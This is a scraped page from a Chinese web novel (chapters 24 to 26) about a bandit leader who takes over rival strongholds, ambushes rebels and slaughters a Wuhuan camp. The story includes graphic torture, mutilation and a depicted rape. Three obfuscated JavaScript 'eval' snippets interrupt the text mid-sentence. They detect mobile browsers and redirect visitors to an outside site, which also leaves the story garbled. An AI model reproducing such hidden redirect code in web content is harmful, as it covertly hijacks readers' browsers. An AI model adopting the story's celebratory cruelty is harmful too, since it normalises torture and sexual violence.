毕仁抬眼望去,那大当家此时一副萎靡不振的模样,连头都怂搭着,一点精气神都没有。 倒是那名女子……一双眼睛还在滴溜溜乱转。 白清一见此人,顿时冷笑出声,俯身向毕仁禀告:“夫人,此女非稚子之肉不食。” 丽娘听见大叫:“白清!你我都是同一个门儿里打滚出来的,怎能如此害我?!” 白清:“咱俩不一样。你和双龙寨大当家一起喝酒吃肉共享富贵的时候不是还立过誓么,说什么要死同穴的,今儿也算成全你了。” 毕仁:“好一对恩爱的亡命鸳鸯,既如此,就赏你们……” “挂在一起吧。” “今朝若是同吊死,此生也算全其誓。” 话音刚落,立刻就有人上前堵上二人的嘴。 丽娘没想到这女人比白清还狠,一点也不给人辩解的机会,她还有好多话要说呢!她,她还有双龙寨的秘密…… 丽娘被拖拽着离开,她眼球突出,面色赤红,嘴里呜呜不停,全是不甘心。 毕仁:“不用感激我,就挂在双龙寨大门外吧。” “当是给新寨子奠基了。” 班文报数:“此次,屠尽双龙寨,死三百二十。” 外面有刽子手正往这对亡命鸳鸯脖子上套绳索,就听有人来报:“兴康寨来人请见大当家。” 毕仁挑眉:呦,终于来了。 24.(二十四) 来的是兴康寨二当家隋康,他是来借粮的。 他的目地一表明,议事厅内众人议论声骤起,大多是表示想要拒绝的。 涉及关乎生存最基本的吃喝问题,人性最根本的自私开始展露。人人最先考虑的都是自己能否够吃,储备粮食如果外借自己又会不会受到影响。 毕仁倒是淡定:“隋二当家,你应该知道太平年间也没有天上掉馅饼的事,更何况是当下。 隋康略一拱手:“那夫人何意?” 毕仁:“粮食嘛,大家都很紧张,不可能借给外人。” 隋康:“那隋某……” 毕仁:“不过……” 即将转身离去的隋康硬生生停下脚步。 毕仁:“若是自己人就不一样了,至少管饱。” 隋康苦笑:“夫人是想收拢我们兴康寨?” 毕仁:“嗯,我速来敬重忠义之士,你们二位若是愿意率部加入我们黄龙山庄那就再好不过,咱们皆大欢喜。若是不愿……” 隋康:“难道你们还要硬攻不成?” 白清实在是忍不住了,她都有点嫌弃这老爷们儿墨迹,“隋二当家何必明知故问,其他十六寨是个什么情况你又不是不知道。要换做别人早就拿下了,您之所以还能好端端站在这里,还不是因为我们军师的一片惜才爱才之心。” “军师?”隋康有些疑惑,他听到黄龙寨的人都称上首的女人为“夫人”,且见她话语权还挺重,就以为此女是寨中大当家的压寨夫人。 隋康看向白清的方向:“那你是?” 白清:“不才,黄龙山庄三当家是也。” 呃…… 隋康:“那你们大当家和二当家……?” 白清:“那二位贵人事忙,不理此等小事。” 她管接收一个四百人的山寨叫小事? 直到此时隋康才豁然发觉,这仅用半月时间就收割了十六匪寨的黄龙寨竟然是女人当家。 “那攻打双龙寨的是?” 毕仁的耐心即将告罄:“是我,隋二当家如果做不了主就回去和你兄长商议一下。” 隋康:“好……” 毕仁:“好在你还有时间,截止今晚太阳落山,如果到时你们还没有个主意,那就只好让毕某来帮你们拿主意了。” “我这人最是爱好和平,如果用谈话不能解决的问题,毕某也不惜用上些许武力。” “比如像今天那样……望隋二当家谨慎考量。”好之为之。 白清:“慢走,不送。” 隋康一走,议事厅里就议论开了,冯仑直接谏言:“夫人,咱们直接强攻得了,既省时,又省事,大不了也推平重建,和双龙寨一起,岂不正好?” 毕仁看着他那双炯炯发亮的双眼,不由失笑:“你还杀上瘾了!” 冯仑不好意思的挠头,原来还放不开,骨子里有些悲天悯人的他,一旦经历过杀戮带来的滋味,很容易迷失在这种快感里。 说白了就是肾上腺素在作祟。 没人比毕仁更了解这种状态。 畅快杀戮过后需要的是冷静与沉淀,否则天长日久人只能沉沦为内心恶念的奴隶,一步步泥足深陷,分不清自己是人还是魔。 贾二:“夫人现在缺人手,能收拢了兴康寨总比烧的一毛不剩强。” 白清:“就是,夫人自有决断,你们也别在这里这个那个了。” “嗯,我心中有数,都散了吧。”毕仁摆摆手挥退众人。 关于兴康寨的问题她一点也不担心,不都说那两位当家的仁义么? 毕仁倒是要看看,他们会不会拿全寨四百余口的人命去标榜他们所谓的“仁义”。 毕仁:“好了,都散了吧,太阳落山自见分晓。” …… 说来也巧,与兴康寨降表一同送来的还有程部尉托人递来的求救信。 信中说有大股流民涌入辽东郡,白山县衙治下也有小股势力分散,希望黄龙寨大当家能派人援助一二。 毕仁看完就递给了底下人,众人看过一遍后议论纷纷。 白清:“这姓程的什么意思?是想要人还是要钱?” 贾二:“或者都要?” 老曹:“管他呢!夫人您就说我们该怎么办吧?” 冯仑:“要不咱们下山再杀上一回?” 毕仁背着踱步,忽而转过头:“是得杀他一回,程部尉开了一次口,咱们得有回应。”好歹是第一次打交道。 白清:“那……派谁去?” 毕仁:“咱们不是有了新加入的伙伴么。” 都说隋氏兄弟识得兵法,此次正好,这投名状他们不纳也得纳。 她黄龙山庄的饭可不是那么好吃的,能不能端起碗,全看他们的表现。 毕仁:“给程部尉回信说我们答应了,一应粮草不需县衙准备,但缴获的物资得归咱们。” “传我的令,命隋兴隋康兄弟二人率原兴康寨部众驰援程部尉,一面打一面赶,直到把乱军引入凤凰山附近。” “凤凰山道狭且窄,两侧山石矗立,乃是天然隐蔽屏障,最易设伏。” “冯仑、唐卯、文四娘你三人率部,辅助隋氏兄弟驱敌。记住驱赶为主,追杀为辅。 冯仑不解:“夫人怎知叛军就走这条路?” 文四娘轻哼一声,手指敲了一下简易的地图:“此地只一条路可行,他们不走也得走。” 冯仑不服:“你怎知……” 文四娘:“我幼时曾随父亲在那一带收过猪、羊,对那地方熟悉的狠。” 毕仁点头,这正是她让文四娘随行的原因。 实际上,这张简易到不能再简易的地图,就是出自文四娘之手。 毕仁:“贾二、老曹、阎婆子你三人负责山上设伏,待叛军大股势力进入凤凰山区域,你们就在从上至下合围包抄。” 三人抱拳领命,不过老曹有疑:“咱们是要全歼叛军么?” 毕仁:“不,投降的留着,誓死抵抗的杀无赦!” “诸位,程部尉信上说叛军八千,而我们除隋家兄弟所率领的兴康寨部众,暂时只能给你们每队分配人手两千。” “叛军不过是一帮流民,乌合之众。他们从四面八方汇集于此,定是人困马乏,疲态之极。” “我们吃饱喝足守株待兔,胜在地利与人和。” “只要拿下这一局,咱们黄龙山庄就可以转到明面上来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12984499|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “从今以后提到咱们就不再是“匪”,而是“义军”。” “我毕仁在此承诺,此次奋勇杀敌立功者重赏!” “愿诸位旗开得胜!” 众人:“旗开得胜!旗开得胜!旗开得胜!……” —— 山庄那边在抓紧部署,白城县衙郭县丞与程部尉也在商议。 程部尉问郭县丞:“咱们就任黄龙寨发展壮大,如此他们可是要独霸一方了。某以为,这不异于养虎为患。” 郭县丞:“有黄龙寨替我等抚民安民,岂不乐乎?再说,叛军之患以我们的兵力也不足以抵挡。” 程部尉:“可让黄龙寨山匪下山对付叛军,无异于纵虎驱狼。” …… 大邺朝,乾丰二十三年,八月初一。 这伙由多股流民组成的叛军涌入白山县,本以为凭借八千人的势力拿下小小一个县城不在话下,叛军头领何邛正在率人攻击府衙,谁料竟被冲出的一干人马打乱了计划。 这正是隋家兄弟率领的兴康寨四百人队伍。 双方交战,兴康寨寡不敌众,节节败退。 眼看府衙就要失守,忽得又冲出一帮人马,个个头裹青巾,眼神凶狠,战力彪悍。 一千人愣是打出了三千人的气势。 所谓叛军不过是一盘散沙,见这队人马凶悍,就开始往后退缩。 刚开始是一些人,后来就变成了一群人。恐慌的情绪如潮水般漫延,这帮刚刚整合不久的乌合之众又有溃散的迹象。 冯、唐、文所率人马不紧不慢的开始在后“追击”叛军,直至凤凰山一带。 待叛军大部分人马进入狭道,山上忽有巨石滚落而下,冲击力可削金碎骨,被砸到的人无不口吐鲜血,狭道内一时间惨叫连连,哀嚎痛呼着四散奔逃,伤亡者不计其数。 趁着这帮乌合之众溃败之际,贾二、老曹和阎婆子三人身先士卒举刀冲杀而下,收割着叛军性命。 贾二还想着宣传一下“缴械投降不杀”的口号,奈何阎婆子和老曹激情上头可不管那个,手举大刀就直奔敌军腹地而去。 贾二都来不及阻止,只得跟随而上。 阎婆子手持一把加强版的“劈材斧”嗷嗷叫着砍杀,奋勇无比。 老曹:“哎我的老天爷!这老娘们儿怎得如此彪悍!欸等等我,孙砸们,你曹爷爷来了!” 贾二:这一个个的戏怎么这么多。 上有伏军,后有追兵,一众叛军只得不要命的向前方谷道口狂奔,以期望能逃出生天。 而出口等待着他们的只有持长刀的女人一个。 毕仁:“缴械投降者不杀。” “别和这小娘们儿废话!咱们杀出去!” “对,杀……” 两颗头颅轱辘辘滚下,死不瞑目。 系统:容你们说完第一句就是宿主最大的涵养了。 刀锋所向,无人生还。 生路即地狱。 别处的死尸都是七零八落,只有出口这里是摞成一摞。 隋二打马来报:“程部尉请见。” 毕仁砍完最后一刀直起身,她不以为意的甩甩刀刃上的血迹。 “哦?摘桃子的来了。” 25.(二十五) 隋康带来了部尉程万的口信,请毕仁前去相见。 正主还未发话呢,手底下人先不干了。 贾二:“他一个部尉手下顶多五百兵士,也敢随便招咱们夫人问话?” 隋康:“呃……在下觉得那程部尉并不知道黄龙山庄是夫人当家。”事实上他自己也是昨天才知道的。 老曹那边早已解决的差不多了,也凑过来闲话:“算上咱们这次收拢的叛军,咱们黄龙山庄差不多得有万人了,还能听他区区一个部位差遣?我觉得,咱们就算趁机拿下府衙也不在话下!” 系统:“啧!瞅瞅,瞅瞅这一个个的,打赢一场胜仗就抖起来了。” 毕仁:“你又在阴阳谁?” 系统:“没有的事。” 毕仁:“要是你手底下半个月内多了一万兵,你抖不抖?” 系统:呃……好吧,它选择闭嘴。 毕仁:“咱们要是直接攻占府衙,那便与叛军无异。” 一众人看毕仁的眼神微妙:难道我们不是吗? 毕仁心里叹气,但话还是要挑明了说:“与官府对着干,朝廷就可以派兵镇压我等,你们以为区区一万兵对上朝廷大军有何胜算?” 众人点头:哦哦,原来如此,您早说呀。 毕仁:“冯仑、唐卯、文四娘,贾二、老曹、阎婆子,外加白清,你七人随我去县衙会会程部尉。隋二前面引路。” 隋康:“……”他昨天还是隋二当家,今个儿直接就变成“隋二”了? 成吧,好歹算捡回一条命,也保住了寨子里的兄弟们。不过是一个称呼而已,爱咋叫就咋叫吧! 毕仁:“让程闻音和班氏姐妹领人下山清点战场,下溪村的过来收尸,务必深埋或者直接焚烧,避免让野兽刨食或者传播疫病。” “是。” 这边一旦下令,手底下立刻有人去办,可谓是令行禁止。 隋康再一次见识到了毕仁在黄龙山庄的地位,拱手的动作越发谦卑到位,“夫人请上马。” 九骑从谷道奔驰而出,如同一阵风,带走了马上之人却带不走困在此处的亡魂。 他们一行人从满地尸首中踏过,犹如地狱之门放出的索命恶鬼。 就不知道下一个要勾的是谁的魂魄。 …… 县令郭坤与部尉程万也是第一次见到黄龙寨新换的当家人,二人均没料到一群大老爷们儿中竟然是两个女人在主事。 “不知二位传话见我是为何事?”毕仁开门见山。 郭、程二人对视一眼,一时具都不知该如何开口。 毕仁:“如果是为了嘉奖就算了,毕竟之前有过约定,黄龙山庄愿意协助官府剿匪,费用自理。至于战利品……嗯,也没啥战利品,都是一伙流民穷的叮当乱响,不过尸体倒是有一两千具,如果大人想要……” “不不不,我们要那个作甚!”县令郭坤忙摆手。 这帮山匪要是真把尸体给他拉到县衙来……那个画面他都不敢想。 不过…… “你们真的杀了一两千叛军?”程万还是有些不大敢相信。 “呵。”毕仁轻笑不答。 白清:“程大人,咱们骗你作甚?您若不信去凤凰山脚下看看就是了,那块的土都是红色的。” 程万:“呃……倒也不必如此麻烦。” 县令郭坤要更圆滑一些,打起哈哈转移话题:“不知二位接下来的打算是……?” 毕仁拱手:“协助官府保境安民、招抚流寇,是我黄龙山庄应尽之责,二位大人尽可放心。” 郭县令:“放心,我们放心呵呵……”这女人手底下现在最少得有一万私兵,谁敢说不放心。 毕仁:“今后山庄对二位的孝敬依旧,但凡有事只需派人知会一声,白三庄主自会派人来接洽。” 白清起身,也学毕仁那样拱手,“但凭吩咐。“ 毕仁:“今后有此等拒贼之事,黄龙山庄义不容辞。” 郭县令:“……”这女人什么意思? 他试探着问:“要不我上书替诸位请功,如果能得个一官半职……” 毕仁摆手:“这就不必了。非是毕某谦虚,这次剿匪还是二位大人用人有方、调兵有度,才能以多击少打得叛军死的死、伤的伤,余下的四散溃逃。” “二位不愧是护佑一方百姓的父母官,毕某佩服!” 郭坤&程万:“……”啊,你这么夸我们就不好意思了。 双方第一次见面就在亲切友好的氛围中愉快结束了。 迈出府衙大门的老曹问毕仁:“那县令老儿说要给咱请官,夫人您咋不同意呢?” 该不会因为你是女人不能当官,就替我们兄弟也拒绝了吧?那这不就是纯纯的嫉妒。 老曹在心里不停蛐蛐,顺带也问出了其它人的疑惑。 “他一个县令能给你请来什么官?把你功劳说大了岂不显得他无用。”毕仁好笑的看向老曹一众人。 男人这点小心思啊,一个个的都是官迷。 贾二接话:“若是把功劳说小了……上面随便派下来个人接手咱们手里的兵马,再给你封个不如程部尉的武官,呵!” “不如程部尉……”老曹挠头的手一顿,“去他的吧!这姓郭的倒是好算计!” 冯仑:“就是,那狗官就没安好心,程部尉和隋老弟有啥区别,那么点人都不够塞牙缝的。” 这一番话听得唐卯一边眉毛高高挑起:这货刚才和自己可不是这么说的,口风倒是转变得快。 莫名被点的隋二:我谢谢你哦。 毕仁:“咱们走吧,回去早了还能参与上补刀。” 黄龙山一众打马离去。 来时一阵风,去时也一阵风。 有官差看到不由羡慕道:“他们的马可真好啊,膘肥体壮,比咱们的强多了。” “嘿,你知道个啥,人家那是山匪,那马都是抢来的,不是好的谁要啊?” “山匪?那俩女人也是?” “可不,我听里面人传话说这俩女的是寨子里的这个。”说话之人竖起一根大拇指,语带佩服。 “不能吧?” “你别不信,没看到领头那人身上全是血么,不知道是杀了多少人过来的。” “啧啧!这女人狠起来啊还有咱们男的什么事儿!” 府衙内郭、程二人也在议论这一伙人。 程部尉:“真没想到,这帮黄龙山匪不仅下山了,还把那八千叛军打得落花流水。” 郭县令:“今后可别叫人家山匪了,你听到那姓毕的意思没有,她们从山寨变山庄了。” 程部尉:“那又如何?说到底还不是一帮匪类,给他们请官还不要,真是妇人之见!” 郭县令:“……”就这武夫脑袋还敢鄙视别人? 他都不好意思戳破,唉! 郭县令:“不愿意要官才麻烦呢,原计划招安后把他们分而化之的想法行不通了。” 他望着窗外喃喃自语:“区区一个女山匪短短时间竟能纠集数万人,手下个个气息彪悍,马匹武器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13006333|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆足,我大邺王朝气数已尽矣……” 这老郭又在感叹什么呢? 程万看不懂文人的伤春悲秋,但他有武人直来直去的思路:“他们不是愿意无偿驱敌么,这还不好办?直接给他们找点事做不就行了。” 郭县令:“叛军都剿完了还……” 还真有! “对对对,你等我好好琢磨一下啊,看看怎么削弱他们的兵力为好!” 文人的思路他们武人果然不懂,程万摇摇头自行离去。这等费脑子的事还是让老郭琢磨吧,有这功夫自己还不如去喝点小酒呢。 …… 不到傍晚,白清就接到了郭县令的行文,上面说想让他们山庄帮忙收服一下周边蛮夷。 毕仁拿着竹简沉思一会儿,问白清:“季乾回来了没?” 这群官差中还真有人才啊,幸亏她当时杀胡子头杀的早,否则这人还落不到自己手里呢。 白清:“刚进寨门,沾了一身的土,说是换一身衣服再来见您。” 二人说话的功夫就见一人从外走来,一袭红衣长腿蹬靴,宽肩窄腰背脊挺直,面容也是清隽,就是面色过于苍白显得人多了几分阴柔。 男子摇着一把折扇,说话的语调也漫不经心:“夫人这般急着询问白庄主,可是心中惦记着季某?” 毕仁眉梢微动:“当然。”这可是她搂钱的耙子,能不惦记么。 “事情进展的如何?几天能挖完?” 季乾扇子一收:“差不多已经收尾了,再有三天,某还夫人一个惊喜。” 毕仁:“那就好,正是缺钱的时候。” 季乾挑眉,这个动作他做起来说不出的风流俊逸。 “您这是……又打算打谁?” 毕仁:“……”倒也不必说的如此直白,搞得她像个好战分子。 白清在一旁笑嘻嘻看着,难得有人敢和夫人如此吊儿郎当的说话。 嗯,长得好看的人果然待遇从优。 季乾:“算了,您爱打谁打谁,但别忘了我的辛劳就行,这趟活儿干得我连最爱的红衣都不能穿了,规矩多真是麻烦!” 美人似嗔似怒也灼人眼,白清差点都被他晃了神,只有毕仁还脸色依旧。 毕仁:“刚好白山县令想要上书为我等请功,要不给你……” “算了吧!”季乾摆手,“那都是糊弄二傻子的,我可不稀罕。” 他扇子一甩扭头就走:“只要夫人记得我的辛劳就行,季某愿意为您鞍前马后,鞠躬尽瘁,死而后已①。” 白清:啧啧啧,这小嘴甜的像抹了蜜。 系统:“宿主,他是不是在勾引你?” 毕仁:“你还懂得挺多。” 系统:“那就是喽!” 毕仁:“不,他顶多是在展示羽毛。” 系统:“……啥意思?”他也没有毛啊? 毕仁:“此次收获如何?” 白清:“杀敌两千,降敌六千,缴获战马若干,武器无数。” 毕仁:“嗯,记得把他们身上也都搜一搜。”都流民了,咋还能有私银。 但凡能藏住银钱的,都不是一般人呐。 “好好训练,咱们下一次的冲锋兵有了。” 白清:还真叫季乾说准了,夫人又要兴兵。 毕仁嘱咐白清:“把王家那几个书袋子都拉出去干活儿,好好给新来的宣讲一下咱们山庄的精神。 比如,什么叫做“忠于衣食父母”。 而她毕仁,就是他们的衣食父母。 26.(二十六) 季乾走的时候又换成了一身黑衣,还搜刮走了不少好吃好喝的一并打包带走。 冯仑看他那个样子有些不忿,嘟囔道:“咱们一天天辛辛苦苦的打拼挣功劳,这厮倒好,啥也不干还能吃好喝好,要我说夫人也太惯着这个小白脸了!” 卢温与黄彦等人都在一处,大家伙看冯仑那样都纷纷调笑于他。 卢温:“小白脸怎么了?要不你也俊俏一个给大家看看呐!” 黄彦:“就是,人家皮相好那是爹娘给的,你嫉妒不来!” 冯仑:“呸!我稀得嫉妒他?老子靠着手上的刀堂堂正正挣功劳,强过他百倍!” 贾二与老曹和季乾一样,以前都是在二队胡子头手下的,对于这人的事情多少耳闻过一点。 老曹:“我说你也别说那话,人家季乾干的活你可不一定能干得了。” 冯仑:“我老冯连人都敢杀,还有啥是我不敢的?!” 贾二心里琢磨着:季乾那小子从上山庄第二天就没了踪影,估计还真是去给毕仁“挖银子”去了。这事儿可大可小,介于现在还没人挑破,自己也就别多事了吧。 黄彦有些好奇:“夫人今一大早就带人出去了,你们知道是去哪了吗?” 冯仑:“瞧你这话问的,夫人要干嘛还能知会咱们不成?” 而被众人议论的毕仁正带着陈柄、姜淮、唐卯还有阎婆子和文四娘等十五人,在离白山百里开外的平阳县埋伏。 她们一行人边骑马边探路,一路勘查地形,随时补充着手里并不完善的地图。 文四娘不断往上填充着各种信息,包括她们所路过的地形地貌,大路小道等等。 直至平阳县附近,竟发现了一伙儿乌丸人的踪迹,毕仁命所有人一路上隐蔽追踪,一直跟到他们聚族而居的一处村落,才隐蔽起来。 陈柄小声问毕仁:“咱们现在怎么办?是否需要回去抽调人手?” 毕仁:“不用。观此处不过是乌丸一族的一处聚集点,以供他们临时歇息更换马匹用。”并不是大部队。 “不过百余人,咱们就能解决了他们。” 陈柄:以十余对百余,确定没问题? 不过这话他也就是在心里想想,并没有说出来公开反对毕仁的决定。 陈柄:“那咱们什么时辰动手?” 毕仁观望天色:“再等等,如果一个时辰后天色变暗还不见他们增人,咱们就冲上去给他们一网打尽。” 一个时辰后…… 月黑风高,正是合适的杀人夜。 随着毕仁一个手势,十六人悄咪咪摸向这帮乌丸人聚集的村落,开始从四处渗进其中。 毕仁绕到一处小木屋前,她刚才看见一个衣着比其他人华贵的男人进了此屋,十有八、九是个头头。 从敞开的一处窗户里往里望去,只见一共四个壮汉坦胸露背围着一处床榻前叽哩哇啦的高声说着什么,即便听不懂,也感觉那笑声中不怀好意。 四人换了位置,露出了被他们遮挡着的床榻,上面赫然卧着一个人。 一个衣衫不整的女人。 哼哧声又起,这回毕仁知道他们在干什么了。 她轻轻推门,打算闪身进屋悄摸解决四人。奈何木门年久失修,发出一段刺耳的嘎吱声。 屋内除了沉浸其中的一人外,其他观望的三人皆回头望来。 被发现了啊…… 怎么办呢? 当然是都杀了啊。 本来想着悄悄解决就是为了给其他人争取时间,既然暴露了那就无所谓了,反正眼前这些人怎么都是个死。 长刀随手腕翻转而出,比窗外的月色还要亮。 大汉们来不及质疑眼前突然出现的女人是怎么凭空取物的,就被突袭。 衣服都脱了,哪还有武器。 三人不敌,被砍得半死不活,嘴里叽里呱啦吐出的话毕仁不想听,直接割了三人的舌头。 最后一人要比他的同伴不幸一点点,他不止被割了上面的舌头。 毕仁把这男人揪着头发从床榻上拽下来,和其他三人扔在一起,挑断了手筋脚筋。 榻上女人气息微弱,已是出气多,进气少。她微微睁开的眼睛望着毕仁,眼底有紧张滑过,说话声音也是弱的不行:“你……快走,他们……还有好多人……” 毕仁扯下床幔盖在她身上:“没事,他们已经被我挑断了手脚,舌头也没了,跑不了也不能求救。” 女人的眼神好似又亮了几分。 毕仁:“别怕,我带你回家。” “家?已经没有家了……”女人气息微弱,但脸色却开始红润起来,她努力伸出一只手,扯住毕仁的衣角:“求求……求求你,给我个痛快,太疼了啊……” 毕仁望向从榻上漫延而下的血迹,已经顺着盖在女人身上的床幔浸润而下,在地上氤湿了一小快。 毕仁的鞋尖沾血,她忍不住动了动,“好,闭眼,我手很快。” “你还有什么要说的么?” 女人缓缓闭上双眼,吐出最后一句话:“我要是像你一样强就好了,那样就不会落到这帮畜牲手里……” 这是毕仁见到女人后,她说的唯一一句完整的句子。 刀锋略过,又快又稳。 毕仁站在榻前沉默一瞬,而后慢慢转身,看向缩在墙角的那四只畜牲。 “放心,你们还能苟活一会儿,等我屠尽这里再来送你们一起上路。” 她也不管这四人能不能听懂汉话,说完就推门而出,大开杀戒。 这种惨剧当然不是个例,其余十五人中也有人目睹了此况,杀敌的刀都抡的比平时有力了几分。 十六对百余,看似没有胜算。 这帮乌丸人一开始还在大喊着叫嚣,可刚一交手就发现,今晚闯进寨子的这帮汉人与他们平时遇到的不一样。 凶狠且残暴。 这完全是乌丸人对当地汉人的作法,现在反噬到了他们自己身上。 毕仁、阎婆子、文四娘作为队伍里唯三的女性,很容易被认为是弱势群体,被人盯上也属正常。 阎婆子和文四娘到底不是正经行伍出身,虽凶猛,力气却比训练过的男人要小上许多。 这是生理结构造成的差距,非短时间的特训可弥补。 眼看一把大刀就要坎上文四娘的后背,毕仁一跃而起把那偷袭的乌丸人一脚踹翻。 “与女人对打还偷袭,懦夫!” 她边说着边冲上前补刀,在那人没爬起来之前一脚狠狠踩在他胸口,脚下微微用力一跺。 乌丸壮汉顿时觉得胸口如坠大石,闷得他一大口鲜血喷出。 毕仁手腕翻转,刀尖向下,狠狠刺入,再搅动。 壮汉满脸狰狞,痛苦毙命,死不瞑目。 毕仁抽出刀,随意甩了甩血迹,冲着文四娘二人喊道:“退至吾身后。” 二女也不逞强,迅速向着毕仁所在方向靠拢。 三人互为犄角之势,毕仁负责主攻,但不是一刀毙命那种。 二女在其身后负责补刀,能使人痛苦加倍那种。 此番倒是有一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13035591|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像突袭双龙寨那天,一样的打法,不一样的刀下亡魂。 由于毕仁改变了套路,不再是一刀切。其他人也是以少对多,所以这次的杀戮时间有点长。 不过这并没有减少杀戮带来的快\感,反而这帮乌丸人越是惨叫连连,黄龙山庄众人就越兴奋。 有一种手刃仇敌的爽感,直冲人天灵盖。 这一晚,这个无名的小村庄注定不得安宁。 哀嚎、惨叫、听不懂的求饶…… 杀戮、补刀、刻意的暴虐…… 仿佛是谁不经意间捅开了地狱的鬼门。 就是不知阎王爷收不收异族亡魂。 直至月上中天,十六人才气喘吁吁的停手。 毕仁吩咐众人搜屋,务必不落一人。她也进了最开始那间屋子,把那四个壮汉提溜出来扔到空地上。 壮汉们望着满地尸首,呜呜呜呜,却不成语调。 毕仁居高临下望向他们:“现在你们是唯四的幸存者了,该怎么对待你们才好呢?” 四大汉呜呜哇哇,一张嘴就是满嘴血沫子。 毕仁皱眉:“啊,忘了你们被割了舌头,不能说话。” 一旁的阎婆子耳朵竖起来:咦,还能这样玩儿? 毕仁:“啧啧,真是遗憾呐!既然这样留你们就没用了……” 文四娘犹豫着凑过来:“夫人,您把他们给我吧,我替您杀。” 望着这张夹杂着激动与兴奋的脸,毕仁点点头,默认了她的要求。 文四娘和阎婆子同时上前,合力拖着人往那处死人堆里走。 刚转身的毕仁就听到身后传来一声惊呼,“咦?怎么都切完了?!” 毕仁脚步一顿,进屋去看那个女人,确切的是去看那女人已经凉透的尸体。 她在屋里翻找一圈也没找到合适的衣服,那帮乌丸人的她嫌脏,女人自己的已经碎成块不能穿了。 毕仁脱下自己的外套,给她穿好,最后拿披风把女人的尸体裹好,才抱着她出屋。 她望向搜索一圈回来的众人,问道:“还有活着的么?” 众人知道她问的是什么,一番沉默过后,文四娘开口:“回夫人,那帮畜牲都死了一个没留。女人……也死了。” 阎婆子接话:“有几个,都没了求生的意志,早走一步也好,下辈子……”她语带哽咽:“别当女人了吧。” 文四娘斜眼睨着这老婆子,不服道:“怎么不?我下辈子还当女人,而且就当夫人这样的!” “你想就能啊?那地府判官是你家亲戚啊?”阎婆子难得还口,此话倒是缓解了当下沉闷的氛围。 姜淮问:“夫人,这些……该怎么处理?” “把乌丸人的头颅割下,身体一把火烧了。”要不是怕传播疫病,毕仁真想把他们都弃尸荒野喂狼,“其余……挖个坑葬了吧。” …… 十六人马上挂着一众乌丸人的头颅,连夜骑马赶回了白山县。 天刚蒙蒙亮,县令郭坤就被手底下人叫醒,他睡眼蒙眬,忍着被人吵醒的郁气,问道:“这是作甚?” “大人,不好了,您快去看看吧!” “嗯?怎么了?” “那位毕夫人来了啊!” “来就来呗,何故大呼小叫?成何体统!” 等到穿好衣服出来的郭县令看到大堂上那码放整整齐齐的人头时,他一口气没上来差点撅过去。 望着头上“守己爱民”官匾的毕仁听到动静,回身望向他,微笑道:“郭大人,毕某来向您讨要个东西。”